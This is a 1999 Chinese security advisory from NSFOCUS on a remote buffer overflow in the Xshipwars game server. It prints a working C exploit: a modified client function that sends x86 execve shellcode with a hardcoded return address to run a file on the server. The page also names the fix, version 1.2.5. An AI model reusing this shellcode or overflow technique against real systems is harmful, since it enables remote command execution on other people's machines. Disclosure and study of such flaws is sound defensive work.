首页 -> 安全研究

安全研究

安全漏洞
Xshipwars 缓存溢出漏洞

发布日期:1999-12-09
更新日期:1999-12-09

受影响系统:
WolfPack Development XSHIPWARS 1.2.4
WolfPack Development XSHIPWARS 1.0
- Sun Solaris 7.0_x86
- Sun Solaris 7.0
- Sun Solaris 2.6_x86
- Sun Solaris 2.6
- S.u.S.E. Linux 6.3
- S.u.S.E. Linux 6.2
- S.u.S.E. Linux 6.1
- S.u.S.E. Linux 6.0
- RedHat Linux 6.1
- RedHat Linux 6.0
- RedHat Linux 5.2
- Microsoft Windows 98
- Microsoft Windows 95
- IBM AIX 4.3.2
- IBM AIX 4.3.1
- HP HP-UX 11.0
- HP HP-UX 10.9
- HP HP-UX 10.8
- FreeBSD FreeBSD 3.3
- FreeBSD FreeBSD 3.2
- FreeBSD FreeBSD 3.1
- Debian Linux 2.2pre potato
- Debian Linux 2.2
- Debian Linux 2.1
不受影响系统:
WolfPack Development XSHIPWARS 1.2.5
描述:
Xshipwars是一个图形化的“星球战争”客户/服务器端游戏,可以运行在很多平台上。1.25版以前的版本被发现存在远程溢出漏洞。其结果可以造成以运行这个服务的UID身份执行任意命令。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* If the offset is off for your box, then the server will still crash,
and will begin an endless loop of sending itself log messages,
filling up whatever space it can on whatever partition it''s installed
on. This is less than optimal behavior, so quickly find and kill the
server if your exploit fails.
Love,
A. Woodward, Dec 1999
<cut this and paste it into your client''s source file, modify your
.h''s to raise the limit on a few variables (grep for 256 and turn them
into 2560), recompile, and enjoy> */

/*
*Sends a literal command.
*/

/*hacked to send our attack buffer!*/

int
NetSendExec(char *arg)
{
char larg[CS_MESG_MAX];
char sndbuf[CS_DATA_MAX_LEN];
char exploitbuf[CS_DATA_MAX_LEN];
int i;

/*test shellcode. No whitespace, just exec''s /tmp/xx. If it''s not
there, does random things. Replace this for slightly more
fun. ;> */

char code[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/tmp/xx";

#define SIZEOFBUF 229
memset(exploitbuf,0x41,SIZEOFBUF);

#define SHELLSTART 50
memcpy(exploitbuf+SHELLSTART,code,strlen(code));

/*Return to: 0xbfffebe4 Your Kilometerage May Vary*/
exploitbuf[132]=0xe4;
exploitbuf[133]=0xeb;
exploitbuf[134]=0xff;
exploitbuf[135]=0xbf;

exploitbuf[SIZEOFBUF-1]=0;
/*

if(arg == NULL)
return(-1);
if(arg[0] == ''\0'')
return(-2);

*/

/*strncpy(larg, arg, CS_MESG_MAX);*/
strncpy(larg, exploitbuf, CS_MESG_MAX);
larg[CS_MESG_MAX - 1] = ''\0'';

/*
* NET_CMD_EXEC format is as follows:
*
*argument
*/

sprintf(sndbuf, "%i %s\n",
CS_CODE_LITERALCMD,
larg

);

NetSendData(sndbuf);

return(0);

}

建议:
WolfPack development 在1.2.5版中已经解决了此问题。
http://fox.mit.edu/xsw/dl_main.htm

浏览次数:12566
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障